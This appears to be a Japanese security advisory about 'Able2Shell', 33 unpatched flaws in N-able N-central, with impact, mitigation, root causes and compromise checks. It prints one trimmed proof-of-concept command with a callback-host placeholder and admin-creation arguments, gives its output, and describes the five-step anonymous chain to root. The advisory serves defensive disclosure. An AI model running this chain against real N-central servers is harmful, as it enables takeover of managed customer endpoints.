N-able N-central RCE:33件のゼロデイ、修正なし(Able2Shell)
N-able N-centralのAble2Shell攻撃チェーンは、未認証の攻撃者にnableまたはrootでのコード実行を許します。修正はありません。
要点
- 研究者がN-able N-centralの33件の脆弱性と4つの攻撃チェーンを公開しました。N-centralは、マネージドサービスプロバイダーが顧客の端末を管理するためのリモート監視・管理プラットフォームです。チェーンは
nableユーザーまたはrootとしてのコード実行に到達します。 - 研究者はN-central Appliance 2026.4.0.31で検証し、以前のバージョンも影響を受ける可能性が高いと述べています。N-ableは公開アドバイザリも修正版も公開していません。
- N-ableはHosted N-centralを停止し、オンプレミスの顧客にサーバーの停止を求めました。同社は悪用の兆候を確認しておらず、緊急修正に取り組んでいると述べています。
- 2026年11月10日時点で、Able2Shellの33件の脆弱性はいずれもCISAのKnown Exploited Vulnerabilities(KEV)カタログに掲載されていません。以前のN-centralのCVE 5件(CVE-2025-8875、CVE-2025-8876、CVE-2026-18577、CVE-2026-18556、CVE-2026-86218)は掲載されており、この製品系列は過去にも攻撃を受けています。
- N-centralをインターネットから隔離し、コンソールへのアクセスを信頼できるネットワークに限定し、「侵害されたかどうかを確認するには?」の確認を実行してください。「修正方法」を参照してください。
影響を受けますか?
次の条件がすべて当てはまる場合に影響を受けます。
- N-able N-centralのオンプレミスアプライアンスまたはホスト型サービスのいずれかを運用している。
- アプライアンスのビルドが2026.4.0.31以前である。研究者は2026.4.0.31で検証し、以前のバージョンと現在のバージョンも影響を受ける可能性が高いと述べています。
- 攻撃者がネットワーク経由でN-centralのWebインターフェースに到達できる。主要なチェーンにはアカウントが不要です。
ホスト型サービスは、公開時点でテナントに到達できたかどうかにかかわらず、N-ableの停止の影響を受けます。N-ableは予防措置としてHosted N-central環境を停止したと述べています。
N-ableは公開アドバイザリ、修正版のマトリックス、バージョン確認コマンドを公開していません。コンソールでアプライアンスのビルドを記録し、N-ableがマトリックスを公開するまで2026.4のビルドを影響ありとして扱ってください。研究者のリポジトリは検証済みビルドを2026.4.0.31としています。
| ブランチ | 影響を受けるバージョン | 修正版 |
|---|---|---|
| N-central Appliance(オンプレミス) | 2026.4.0.31で検証済み。研究者によると以前のバージョンも影響を受ける可能性が高い | 公開なし。N-ableは緊急修正を準備中と述べている |
| Hosted N-central | N-ableのホスト型サービス。停止中 | なし。サービスは停止中 |
修正方法
修正はありません。現在機能する唯一の制御はネットワーク隔離であり、研究者が実証したリモート経路を閉じます。
- ただちにN-centralサーバーをインターネットから外します。コンソールへのアクセスは管理VLAN、VPN、または固定の管理者アドレス一覧からのみ許可します。
- サーバーがインターネットから到達可能だった場合は、侵害された可能性があるものとして扱います。調査のためにログとディスクイメージを保存し、既知の正常なイメージから再構築して、保存していたすべての認証情報をローテーションします。
- 緊急修正のためにN-ableのステータスページとトラストセンターを監視します。公開後すぐに適用し、N-ableのマトリックスに対してビルドを再確認します。
- 認識していないN-centralアカウントを削除または無効化します。研究者のチェーンが作成するロール1002の管理者から始めてください。
- アプライアンスの外向き接続と管理エージェントのポリシーを確認します。N-centralは登録されたすべての端末にスクリプトとコマンドを配信できるため、サーバーの侵害は顧客環境を危険にさらします。
回避策には限界があります。隔離はネットワーク経由の悪用を止めます。管理ネットワーク上にすでにいる攻撃者を止めず、攻撃者が作成したアカウントやJSPを削除しません。侵害が疑われる場合の再構築だけがそれらに対処します。
根本原因は何ですか?
N-ableは修正もソースコードも公開していません。ここで述べる根本原因は、研究者が公開リポジトリAble2Shellで記録した仕組みです。レガシーのインターフェース群が呼び出し元から提供された識別情報とセッション状態を信頼し、特権ヘルパーがnableユーザーが書き込めるファイルを消費します。
アプライアンスは最新コンソールの隣に、MMS2、MMS3、ServerEI2という3つのレガシーインターフェース群を公開しています。そのうち複数は、認証済みセッションではなくリクエストから識別情報を受け入れます。
- サービスインポートのパーサーは、提供されたUIセッションを確認する前に、攻撃者が提供した外部エンティティを解決します。そのため匿名の呼び出し元がローテーションするNCIセッションを盗み、そのローカル信頼コンテキストを再利用できます。
- MMS3のパスコードはアプライアンスの10進IDから決定論的に導出されます。そのため匿名の呼び出し元がJWTを生成して確認し、アプライアンスセッションを作成できます。
- 特権ヘルパーは
nableが書き込めるディレクトリの設定を、所有者、封じ込め、整合性を確認せずに消費します。syslogインストーラー、アップグレード前ヘルパー、sendmailのオプション処理は、研究者が実証した3つの例です。
公開された実証コードは、組み合わせた匿名チェーンを示しています。以下は研究者のコマンドを、チェーンを選択する引数だけに削ったものです。
$ python3 anonymous_xxe_nable_rce.py --appliance-id 1807387629 --callback-host <CALLBACK_IP> --user-id 50 --username productadmin@n-able.com --customer-id 1 --create-admin-username <NEW_ADMIN_USERNAME> --create-admin-password '<NEW_ADMIN_PASSWORD>' --command /usr/bin/id
created_admin_id=1290595928
created_admin_login=accepted
created_admin_role_id=1002
created_admin_protected_action=200
uid=992(nable) gid=992(nable) groups=992(nable) context=system_u:system_r:unconfined_service_t:s0
出力は2つの結果を記録しています。ロール1002の有効な管理者アカウントと、uid=992(nable)としてのコマンド実行です。
どのように悪用されますか?
匿名チェーンは、未認証のリクエストからnableとしてのコード実行まで5つの手順で進みます。
- 攻撃者が、自身が制御するDTDを参照するXMLを含む匿名のMMS2サービスインポートリクエストを送信します。
- パーサーはUIセッションを適用する前に外部エンティティを解決します。応答またはコールバックがローテーションするNCIセッションを漏らし、攻撃者はアプライアンスのローカル信頼コンテキストを再利用します。
- そのコンテキストで、攻撃者は既存の製品管理者のパスワードをリセットするか、同じチェーンでロール1002の新しい管理者を作成します。
- 攻撃者はサインインし、ファイル書き込みのプリミティブを使って実行可能なJSPをデプロイ済みのJetty Webルートに配置します。サービスインポートのチェーン、SIS GenericFilesのバージョントラバーサル、File Repositoryのファイル名トラバーサルがそれぞれ1つを提供します。
- JSPは
nableサービスアカウントとして実行されます。そこから攻撃者は、rootヘルパーが消費するnable書き込み可能ディレクトリに設定ファイルを置き、ヘルパーがそれをrootとして実行します。
研究者はnableまたはrootに到達する複数の他の方法を記録しています。バックアップ復元通知のオプションインジェクション、自己チェックサム付きNSPアップロード、アップグレード前ヘルパーなどです。MMS3のパッチメタデータに匿名で保存されたXSSから始まるチェーンも、Audit Exportのsyslog-ng文法インジェクションを通じてrootに到達します。
研究者はProductAdmin認証済みのGenericTCPコマンド経路のスタックオーバーフローも公開しました。この実証コードはASLRを無効にした単一ワーカーの隔離ラボ用に調整されており、自然なバイト列はワーカーがクラッシュする前に固定のpsコマンドだけを実行します。これはラボの結果として扱い、信頼できるリモートエクスプロイトとは見なさないでください。
攻撃の流れは?
未認証のリクエストが、セッションを確認する前にXMLエンティティを解決するレガシーパーサーに到達します。そこで得たセッション信頼とファイル書き込みがnableとしてのコード実行につながり、特権ヘルパーを通じてrootに至ります。
攻撃者に何ができますか?
チェーンを完了した攻撃者はN-centralサーバーを制御し、それを介して管理対象の端末を制御します。研究者はnableおよびrootとしてのコマンド実行を実証しています。さらに、有効な管理者アカウントの作成、資産検出データベースの認証情報と再利用可能なEcosystem Agent認証情報の漏えい、リモート制御の監査レコードの改ざんも示しています。
条件は影響の一部です。
- 攻撃者はネットワーク経由でN-centralのWebインターフェースに到達する必要があります。主要なチェーンにはアカウントもユーザー操作も不要です。
- 個別の脆弱性の一部にはProductAdminまたはTechnicianアカウントが必要です。そうしたアカウントは、セッションを盗んだりパスワードをリセットしたりした攻撃者にとって依然として有用です。
- syslogインストーラーによるroot実行には、先に
nableの実行プリミティブが必要です。研究者は2つの段階を組み合わせており、どちらも単独でネットワークからrootに至る手順ではありません。 - GenericTCPのスタックオーバーフローにはProductAdminアカウントと研究者のラボ条件が必要です。
N-ableはこれらの脆弱性の悪用を確認していないと述べています。以前のN-centralの脆弱性は別の話です。CISAは5件のN-centralのCVEをKnown Exploited Vulnerabilitiesカタログに掲載しており、この製品系列が以前から攻撃対象であったことを示しています。
修正が機能する理由
公開された修正はないため、この節では修正が変えるべき内容を説明します。1つのプリミティブだけを閉じる修正ではチェーンが残ります。研究者はセッション窃取、ファイル書き込み、特権ヘルパーを組み合わせているためです。
完全な修正には3つが必要です。
- 任意のXMLパーサーが外部エンティティを解決する前にリクエストとセッションを検証し、サービスインポートとカスタムサービスのパーサーで外部エンティティを拒否する。
- アプライアンスIDから導出されるMMS3パスコードを、アプライアンスに結び付けられローテーションされるランダムな秘密に置き換え、保護されたすべてのハンドラーで偽造アプライアンスセッションを拒否する。
- すべてのrootヘルパーが消費するファイルの所有者、パス、整合性を検証し、
nable書き込み可能なディレクトリがroot実行にならないようにする。
N-ableがこれらの変更を公開するまで、隔離がリモート経路を除去する制御です。すでに侵害されたサーバーを修復するものではありません。
侵害されたかどうかを確認するには?
研究者は侵害の指標を公開していないため、これらの確認は実証されたチェーンが作る状態を探します。一致は手がかりであり、証拠ではありません。
- N-centralの管理者アカウントを一覧表示し、作成していないロール1002のアカウントを探します。公開チェーンは1つを作成し、削除を要求しない限り有効なままにします。
- デプロイ済みのWebルートで、デプロイしていないJSPファイルを探します。サービスインポート、SIS、File Repositoryのプリミティブは実行可能なJSPをJettyツリーに書き込みます。
- Audit Exportの宛先に、設定していない
program()エントリがないか確認します。Audit Exportのインジェクションは1つを追加し、rootとして実行します。 - スケジュールされたタスクとそのパラメーターに、認識していないGenericTCPコマンド、タスクID、パラメーター数がないか確認します。GenericTCPの実証コードは1つのタスクに41個のパラメーターを持つコマンドを設定します。
- 自分が開始していないパスワードリセットと管理者ログインを確認し、MMS2、MMS3、ServerEI2エンドポイントへの匿名リクエストと関連付けます。
- アプライアンスと管理エージェントの外向き接続に、認識していないホストがないか確認します。
失敗した試行は痕跡を残さない場合があります。いずれかの確認で一致した場合は、ログを保存し、その場で清掃するのではなくサーバーを再構築してください。
年表
- 2025-08-13:CISAがN-centralの2件の脆弱性CVE-2025-8875とCVE-2025-8876をKEVに追加する。
- 2026-08-03:CISAがN-centralの認証バイパスとアカウント乗っ取りであるCVE-2026-18577をKEVに追加する。
- 2026-08-04:CISAがN-centralの認証バイパスであるCVE-2026-18556をKEVに追加する。
- 2026-09-08:CISAが認証前のN-centralコードインジェクションであるCVE-2026-86218をKEVに追加する。
- 2026-11-09:研究者が33件の脆弱性と4つの攻撃チェーンを公開する。N-ableはHosted N-centralを停止し、オンプレミスの顧客にサーバーの停止を求める。
よくある質問
Able2Shellは現実の環境で悪用されていますか?
悪用は確認されていません。N-ableは活発な悪用の兆候を確認していないと述べ、研究者は公開実証コードを使ったラボでの実証を示しています。以前のN-centralのCVE 5件はCISAのKEVに掲載されており、この製品系列が標的であることを示しています。
修正はありますか?
ありません。N-ableは緊急修正に取り組んでいると述べ、その間ホスト型サービスを停止しました。研究者は、検証した最新のプレリリースビルドで脆弱性が機能し、修正されていないと述べています。
ホスト型サービスの停止はデータへのアクセスを意味しますか?
N-ableはそう述べていません。同社は停止を予防措置と説明し、悪用の兆候を確認していないと述べました。顧客向け通知やフォレンジック報告書は公開していません。
実証コードには認証情報が必要ですか?
主要なチェーンには不要です。匿名のサービスインポートチェーンはアカウントを必要とせず、管理者を作成できます。他の項目にはProductAdminまたはTechnicianアカウントが必要で、攻撃者は最初のチェーンで取得できます。
以前のN-centralバージョンは影響を受けますか?
おそらく影響を受けます。研究者は2026.4.0.31で検証し、公開時点の最新バージョンを含め、以前のバージョンも影響を受けるはずだと書いています。N-ableは影響を受けるバージョンのマトリックスを公開していません。
RMMの侵害は単一サーバーの侵害よりなぜ重要ですか?
N-centralは多くの顧客組織の端末を管理します。侵害されたサーバーは、登録されたすべての端末にスクリプトを配信し、ソフトウェアをインストールし、リモートセッションを開くことができます。そのため1つのアプライアンスの侵害が、マネージドサービスプロバイダーの顧客環境全体を危険にさらす可能性があります。
Ostorlabで公開されたN-centralサーバーを見つける
Ostorlabの攻撃対象領域の検出は、環境内のインターネットに公開されたホストとアプライアンスを一覧化します。その後、まだ到達可能なN-centralコンソールを見つけ、最初にネットワークから外すことができます。これは公開ホストの一覧であり、この攻撃チェーンの検出ではありません。
参考資料
- Oracle-Security/CVEs、「Able2Shell - N-Central N-Able」、33件の脆弱性の解説、4つの攻撃チェーン、実証コード:https://github.com/Oracle-Security/CVEs/tree/main/0-Days/N-Central%20N-Able (2026年11月10日確認)
- The Hacker News、「N-able Takes Hosted N-central Offline After Researcher Discloses 33 Zero-Days with PoC Exploits」、2026年11月10日、N-ableの声明、影響を受けるサービス、研究者の公開:https://thehackernews.com/2026/11/n-able-takes-hosted-n-central-offline.html (2026年11月10日確認)
- N-ableステータスダッシュボード、Hosted N-centralサービスの状態:https://uptime.n-able.com/ (2026年11月10日確認)
- CISA Known Exploited VulnerabilitiesカタログのJSONフィード、N-centralの5件の掲載(CVE-2025-8875、CVE-2025-8876、CVE-2026-18577、CVE-2026-18556、CVE-2026-86218):https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json (2026年11月10日確認)
- CVE-2026-86218の記録、認証前のN-centralコードインジェクション:https://www.cve.org/CVERecord?id=CVE-2026-86218 (2026年11月10日確認)
- 研究者の匿名XXEチェーン実証コード:https://github.com/Oracle-Security/CVEs/blob/main/0-Days/N-Central%20N-Able/anonymous_xxe_nable_rce.py (2026年11月10日確認)
- 研究者のsyslogインストーラーroot実証コード:https://github.com/Oracle-Security/CVEs/blob/main/0-Days/N-Central%20N-Able/syslog_installer_root_rce.py (2026年11月10日確認)